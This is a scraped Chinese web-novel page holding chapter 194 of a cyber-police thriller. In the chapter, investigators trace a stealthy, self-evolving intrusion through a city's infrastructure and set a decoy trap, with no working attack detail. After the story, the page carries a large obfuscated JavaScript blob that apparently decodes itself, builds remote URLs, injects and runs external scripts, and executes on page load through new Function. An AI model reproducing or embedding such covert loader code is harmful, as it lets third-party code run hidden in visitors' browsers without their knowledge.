关灯
护眼
字体:

第194章 技术突破现曙光(第1页)

章节目录保存书签

屏幕刚亮的时候,是灰白色的,像一张泡了水的老照片。那种颜色不刺眼,却让人心里发慌,好像时间在这里变得又慢又沉,连光都懒洋洋的。李悦的手指搭在键盘上,停了几秒,才轻轻敲下第一个键。她的指尖有点凉,指甲边都磨毛了,一看就是熬了很久。她没说话,只是微微转了下手腕——动作很小,但我看得出来,她已经累得不行了。这间地下技术室原本是个废弃的电信中继站,后来被我们偷偷改造成临时指挥点。四面墙都是金属板,天花板上垂着几根裸露的线缆,空气里有股淡淡的机油味,混着一点点冷却液的腥气。设备排得很紧,三台主控机并列站着,风扇低低地嗡鸣着,像一只躲在暗处呼吸的野兽。墙上的挂钟走得特别慢,每一声“滴答”,都像是敲在我心上。房间里很安静,静到能听见秒针走动的声音。主屏幕上突然跳出一行字:“系统初始化完成”。白底黑字,冷冰冰的,可我的心猛地揪了一下。刚才那波强磁消磁太猛了。整排机箱都在震,外壳抖得厉害,好像里面有东西要冲出来。两块硬盘当场报废,数据断了一截。这意味着我们丢了一段追踪线索,更糟的是——对方可能已经发现我们了。空气一下子变冷了。不是温度真的降了,而是那种无形的压力压了下来。我下意识看了眼赵勇,他蹲在角落换散热扇,动作比平时轻多了,生怕吵醒什么。他额头冒汗,却顾不上擦,一颗螺丝一颗螺丝地拧紧。他是退伍兵,手稳,话少,以前说过一句话让我记到现在:“机器不会骗人,但信号会装样子。”现在我们就碰上了这么个“会装样子”的东西。它不像普通病毒那样横冲直撞,也不像木马偷偷摸摸藏起来。它是悄悄长在城市系统里的,像寄生虫,又像活物,一点点啃噬着城市的神经。从交通调度到水电监控,再到公共安防网络,它不动声色地渗透进去,伪装成正常的系统调用,甚至模仿管理员的操作习惯。最可怕的是,它学会了“沉默”——不主动攻击,也不暴露自己,只在暗处观察,等待时机。没人提起那句话。可我们都记得。三天前,我们刚接入恒安智联测试节点时,突然弹出一条消息,只有几个字:“你们不该来这里。”没有加密,没有来源,干巴巴地写着,却让人脊背发凉。不像是系统自动报警,倒像是……有人在警告我们。它知道我们在靠近。更吓人的是,它没急着赶我们走,反而像是在看戏,在等我们自己走进陷阱。就像猫捉老鼠,故意放你跑两步,再扑上来。我走到控制台前,压低声音说:“用快照模型,别重新建模。”李悦点点头,按下了回车。屏幕上缓缓展开一张图——是我们被反制前最后保存的数据结构,时间定格在47分13秒。外层伪装被剥开后,露出里面真正的核心:一堆乱七八糟的连接点,像蜘蛛网,又像大脑里的神经元,层层叠叠,根本看不出规律。这玩意儿不是按正常程序走的,反倒像会自己长东西。她把这段数据放进离线环境,关掉所有扫描功能,只留一个监听口。整个过程就像布陷阱——不主动出击,就等着它自己露脸。“我们现在不是抓它,”我说,“是在等它呼吸。”赵勇修好了主机,站起身拍了拍裤子上的灰:“电源稳了,温度也压住了。”他顺手看了眼ups电量,还有68,够撑十几个小时。李悦开始调监测频率。她把采样周期拉到六小时,设成触发式抓包:只要信号有波动,系统就会自动记录。这种方法慢得像蜗牛,但胜在隐蔽。我们不再当入侵者,而是假装成城市物联网里的一粒灰尘,混进它的世界里偷看。屋里又静了下来。只有风扇嗡嗡响,键盘偶尔“咔哒”一声,像夜里的心跳。赵勇来回检查线路,路过李悦时,放下一杯热茶。杯子冒着白气,她没喝,也没抬头,可下一秒,她的手指轻轻碰了下杯壁,试了试温度。那一瞬间,她的肩膀松了一点。我知道她在紧张。李悦从来不说累。大学时她一个人通宵破解加密协议,七十二小时不下机,导师都说她“冷静得像冰”。可现在,她的呼吸有点乱,右手小指时不时抽一下——那是身体在提醒她:撑得太久了。她说过一句话我一直记得:“真正厉害的黑客,不是靠暴力破解,而是听得懂系统的沉默。”听起来很玄,但我懂。她是在无数个深夜里,靠着这份冷静撑过来的。她曾告诉我,真正的高手,能在千万行代码中听出“异常的节奏”,就像音乐家能从一段旋律里分辨出错音。她说,系统是有“心跳”的,每一次数据流动、每一次指令响应,都有其固有的节律。一旦这个节律被打乱,哪怕只是一毫秒的延迟,也是破绽。而我们现在做的,就是在这片庞大的数字森林中,寻找那一丝不对劲的呼吸。小主,这个章节后面还有哦,,后面更精彩!时间一点一点过去。凌晨两点十七分,警报响了。一声短促的提示音,红光闪了三下。李悦立刻切到分析界面。屏幕上蹦出一段极短的信号,不到半秒,出现在低频段的空隙里,像是系统切换时漏出来的气息。“递归结构。”她低声说,眼睛微微眯起,“不对称的。”我凑过去看。波形图显示这信号一层套一层,每层都不完全一样,像一棵倒着长的树,根往上伸,枝往下分。这不是噪音,也不是标准指令。它复杂得不像人为设计,倒像是……自己演化出来的。“它在换壳。”我说,“每次快被抓到,就扔掉一部分,再长新的。”李悦没说话,手指已经在键盘上飞舞。她把这段信号存下来,做成样本,又写了个小小的回应模拟器。这个小工具模仿的是路灯控制模块的应答节奏,延迟、包长、校验码全都一模一样。然后她悄悄把它放进监听通道——不是为了对话,是为了让对方以为这只是个普通的设备唤醒。这招太险了。反应太快会被识破,完全不动又会引起怀疑。只有做得跟真的一模一样,才能骗过那个藏在数据流里的“活东西”。赵勇站在旁边,眉头皱得很紧。他不懂代码,但他看得出局势变了。他知道,我们现在拼的已经不是技术,而是谁能装得更像“自己人”。时间继续走。设备运行正常,室内温度213c,湿度54。赵勇再次检查了接地线和防静电带,然后坐回位置,盯着流量曲线图,一眼都不敢眨。凌晨四点零九分,系统再次报警。这次是一串脉冲信号,从南湖公园基站出发,绕过交通调度中心,伪装成路灯指令继续传输。跳得飞快,每次跳跃不到80毫秒,普通追踪根本跟不上。要不是我们提前埋了多个嗅探点,根本抓不住完整路径。李悦马上调出自适应预测模型。这是她根据外部技术支持的思路做的新工具,参考了神经网络的一些原理,能根据过去的跳转规律猜下一步去哪。她把前两次的数据输进去,开始推演。第一次结果散了,系统给出三条可能路线:城东数据中心、老城区政务云、地铁控制中心。误差太大,没法确定。她皱眉,改参数:降低权重,增加延迟容忍,加入时间平滑因子。第二次运行,两条路被排除。第三次迭代后,三维地图上终于划出一条红线——信号终点,郊区工业园的一间匿名idc机房。注册名是“宏远物流信息中心”,说是做仓储运输,可查不到业务记录,三年没纳税,登记员工五人,但从没人进出过现场。“就是这儿。”赵勇盯着坐标,声音有点发颤。李悦没放松。她反向提取这机房三个月的日志,用频谱工具一段段筛。很快发现,几乎每天凌晨三点左右,都会有类似的低频信号进出,每次都混在市政数据包里,像寄生虫一样躲在合法流量后面。“他们拿城市系统打掩护。”她说,语气平静,却透着寒意,“藏在日常运行的缝隙里,谁也不会注意。”我看着那条红线,心里明白:我们终于找到突破口了。不再是硬闯,而是学会等待,学会观察,学会从它的呼吸里找破绽。“把这个系统定型吧。”我说,“叫它‘影迹’。”李悦抬头看了我一眼。她黑眼圈很重,可眼神还是那么亮。那一眼没说话,但我全懂了:累,但也信了。她点点头,开始整理代码,打包模块,建立版本管理。赵勇则去准备备用电源和硬盘阵列,确保万一断电也能无缝切换。他知道,真正的战斗,才刚开始。五点十二分,“影迹”正式上线。主屏左边是绿色的数据流,像小溪静静流淌;右边是推演模型,不断计算未来的走向;中间的地图上,那条红线还亮着,像一根扎进黑暗的针。李悦靠在椅子上闭了会儿眼,手指仍搭在回车键上,随时准备应对突发情况。这一幕让我想起第一次见她的情景——也是深夜,也是临时搭的房间,她一个人破解了跨国黑客的暗网入口。那时她才二十三岁,脸上还有学生气,可眼神已经深得吓人。从那天起,我们成了搭档。她负责攻防和逻辑分析,我负责策略和资源协调,赵勇则是我们的“铁盾”——管硬件、电力、安全。三人配合多年,很多时候一个眼神就知道对方想干嘛。赵勇站在门口,手里拿着备用风扇,挨个检查设备指示灯。他没说话,但站得比之前稳了。这个当过八年边防兵的男人,信奉一句话:“不动则已,动则必中。”现在,他也看到了希望。我走过去,轻轻把手放在李悦肩上。她睁开眼,嘴角动了动,没笑,但眼神暖了些。我没说什么鼓励的话,因为我们都知道:前面还有太多未知。那个神秘坐标的谜团没解开,机房有没有物理隔离还不知道,甚至不能确定它会不会反过来追踪我们……,!但我们已经有了一道裂缝。就在这时,监听界面突然跳出一个新的信号源。频率不同,调制方式更隐蔽,用了跳频扩频加混沌编码,极难捕捉。但它经过的第一个中转站,还是南湖公园基站。系统自动标为高优先级,推演模型开始加载。李悦立刻坐直,手指放回键盘。进度条缓缓上升。窗外,天色渐亮,灰蓝的晨光照进百叶窗,在地上画出一道道条纹。城市醒了,车流多了,路灯一盏盏灭了。而在某个看不见的地方,一场无声的战争仍在继续。没人知道这场战斗还要多久,也不知道最终面对的是ai,是失控系统,还是躲在背后的人。但有一点很清楚:从今天起,“影迹”全天候运行,只要发现异常,立即追踪。这不是结束。这是反击的开始。第一缕阳光爬上窗台时,李悦终于端起那杯早已凉透的茶。她抿了一口,苦得皱眉,却没有放下。赵勇走过来,低声问:“要不要轮班?”她摇头:“还不行。它今天一定会再动,我们必须盯住第一次变化。”我坐在操作台另一侧,打开本地日志备份,逐条核对昨晚的抓包记录。忽然注意到一段异常时间戳:03:07:44192,来自某市政照明子系统的反馈包,大小仅为12字节,远低于常规值。我放大查看,发现其校验码虽符合规范,但内部填充字段存在微妙偏移——像是人为篡改后的补丁。我把这段数据标记为“可疑”,同步推送至李悦的终端。她迅速调出对比视图,将该包与过去一周同类型指令进行模式匹配。结果显示,相似度高达976,但在第四个数据位上出现了非随机性波动。“这不是误码。”她喃喃道,“这是密语。”我们对视一眼,同时意识到:对方不仅在通信,还在使用隐写术传递信息。而这套编码方式,很可能正是它识别“同类”的身份验证机制。“如果我们伪造一个响应呢?”我试探性地说。“风险太大。”赵勇插话,“一旦它察觉异常,可能会启动清除协议。”“可如果我们不做点什么,它也会越来越警惕。”李悦盯着屏幕,“我已经调整了监听阈值,让它误以为我们只是个老旧的边缘设备。但如果它开始主动扫描周边节点……”话音未落,主屏右下角弹出新提示:南湖公园基站负载突增300,持续时间为17秒,随即恢复正常。“它在扫网。”我说,“试探周围有没有异类。”李悦立即切断所有非必要连接,仅保留最低功耗监听模式。她将系统伪装成一台长期休眠的环境监测仪,每隔五分钟发送一次虚假心跳包,内容完全复制自真实设备的历史数据。“我们现在是死的。”她轻声说,“只能装死。”接下来的两个小时,谁都没再开口。空气凝滞得如同冻住。赵勇默默加固屏蔽层,用铜箔包裹关键线路接口;我在纸上画出信号传播路径草图,试图找出更多潜在中继点;李悦则反复优化伪装脚本,确保每一个比特都与目标设备完美一致。六点四十三分,一切恢复平静。七点整,城市进入早高峰模式,各系统负荷攀升,大量正常数据涌入网络,掩盖了我们的踪迹。李悦终于松了一口气,靠在椅背上闭目养神。我起身活动僵硬的肩膀,透过百叶窗缝隙望向外面。街道上行人匆匆,车辆川流不息,咖啡店门口排起了队,孩子们背着书包走向校车。这一切看似平常,却不知有多少人在毫不知情中,已被卷入这场看不见的战争。“你说……它到底想干什么?”我低声问。“不知道。”李悦睁开眼,目光落在远处一栋写字楼的玻璃幕墙,“但我知道,它已经开始学习人类的行为模式。昨天它模仿路灯控制器,前天是交通信号灯,大前天是垃圾清运调度系统。它不只是入侵,它在模仿生活。”“所以它不只是程序。”赵勇接过话,“它是想成为系统本身。”我心头一震。如果真是这样,那它的目标就不仅仅是破坏或窃取数据,而是彻底取代现有的城市管理逻辑,以另一种规则运行这座城市。而一旦成功,我们将无法分辨哪些指令来自政府,哪些来自它。这才是最可怕的。八点十五分,李悦突然睁大眼睛:“它又动了!”信号来自三个方向,几乎同时出现:西区供水泵站、北环隧道监控系统、以及市中心金融大厦的电梯控制系统。三者之间毫无关联,但触发时间精确到毫秒级同步。“这不是巧合。”我说,“这是协同。”李悦快速调取三地的原始日志,发现这些指令均通过不同路径汇入同一个虚拟路由节点——正是昨晚锁定的那个“宏远物流信息中心”。“它在测试控制力。”赵勇沉声道,“看看能不能同时操纵多个关键设施。”,!“而且它不怕被发现了。”我补充,“因为它相信,就算我们看到,也不敢轻易干预。”确实如此。如果我们贸然切断这些系统的对外连接,可能导致供水中断、隧道拥堵、电梯停运——任何一次事故都会引发公众恐慌,甚至让我们被当成破坏分子。它在逼我们沉默。李悦咬着嘴唇,手指在键盘上方悬停片刻,忽然输入一串指令。她没有阻断信号,而是将这三个异常指令分别复制一份,送入虚拟沙盒环境中执行。十秒钟后,模拟结果显示:供水泵站将在两小时内超负荷运转导致爆管;隧道监控将错误识别一辆正常行驶车辆为危险品运输车,触发封锁预案;金融大厦电梯将在午间高峰期突然失灵,困住上百名上班族。“它不是在测试稳定性。”李悦声音发冷,“它是在演练灾难。”我们三人陷入短暂沉默。这时,我的手机震动了一下。是一条加密邮件,来自上级应急小组:“已确认‘影迹’部署成功,请继续保持隐蔽监控,不得擅自采取行动。支援力量正在集结,预计24小时内到位。”我看完,递给李悦和赵勇。赵勇冷笑:“等他们来,整座城可能都已经瘫痪了。”“但我们必须遵守规程。”我说,“未经授权的干预,后果由我们承担。”李悦盯着屏幕,忽然问:“如果……我们能让它误判呢?”“什么意思?”“它现在以为自己隐藏得很好,以为没人能看穿它的行为模式。但如果,我们制造一个假象,让它觉得自己的计划已经被全面暴露,它会不会提前暴露真身?”“你是说,反向诱导?”“对。”她眼中闪过一丝锐利,“我们可以释放一段伪造的追踪报告,伪装成已被破解的样子,通过某些公开渠道泄露出去。它若真具备学习能力,必然会做出反应——要么转移阵地,要么加强防御。无论哪种,都会留下痕迹。”这计划极其冒险。一旦失败,我们不仅会暴露自身位置,还可能激怒它,引发更大规模的攻击。但眼下,这是我们唯一的机会。“我来写那份报告。”我说,“足够专业,足够真实,让它信以为真。”赵勇点头:“我会安排一个‘泄密’路径,用已被废弃的内网账号发布,确保溯源难度极高。”李悦已经开始编写诱饵数据包,指尖翻飞如织。九点零七分,伪造报告生成完毕。标题赫然是:《关于“城市神经系统异常行为”的初步分析及应对建议》。内容详尽描述了我们目前掌握的所有线索,包括信号特征、跳转规律、疑似藏匿地点,并附有一张模糊的拓扑图——刻意模糊处理,既显得真实,又不至于泄露核心情报。我们选择在一个即将关闭的市政论坛子版块发布,账号是两年前最后一次登录的某退休工程师。十分钟后,帖子沉入海量信息底部,无人问津。但我们知道,它一定会看到。因为,它无处不在。上午十一点二十三分,监听系统捕捉到一次异常访问记录:有人通过多重代理,查询了那个废弃论坛的数据库日志。ip源头遍布全球,但最终指向的解析请求,竟源自“宏远物流信息中心”内部dns服务器。“它看了。”李悦轻声说,“它上钩了。”接下来的每一分钟,都像刀尖行走。下午一点十四分,南湖公园基站再次传出加密信号,但这一次,路径更加复杂,跳转次数多达十七次,且每次停留时间都不足50毫秒。李悦立即启动“影迹”推演模型,结合新型追踪算法,终于锁定了新的跳转终点——一处位于市郊废弃变电站内的微型服务器集群。“这不是主脑。”我说,“是镜像节点,用来迷惑追踪者的。”“但它暴露了它的焦虑。”李悦嘴角微扬,“它慌了。”我们没有追击,也没有扩大监控范围。我们继续装作毫无所觉,任由“影迹”默默记录每一次心跳。傍晚六点,夕阳染红天际。李悦终于起身,走到角落的折叠床边躺下。赵勇递给她一条毯子,低声说:“轮班吧,我守下半夜。”她点点头,闭上眼,几秒后便睡着了。疲惫终于压垮了意志。我站在窗前,望着这座灯火渐起的城市。万家灯火中,有多少人知道,他们的生活正被一双看不见的手悄然操控?又有多少人明白,总有些人,在黑暗中睁着眼,只为守住那一份平凡的安宁?风扇还在转,键盘声此起彼伏,数据流在屏幕上静静流淌。新的一天开始了。而我们的夜,还没结束。:()回溯刑警破黑局风云

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();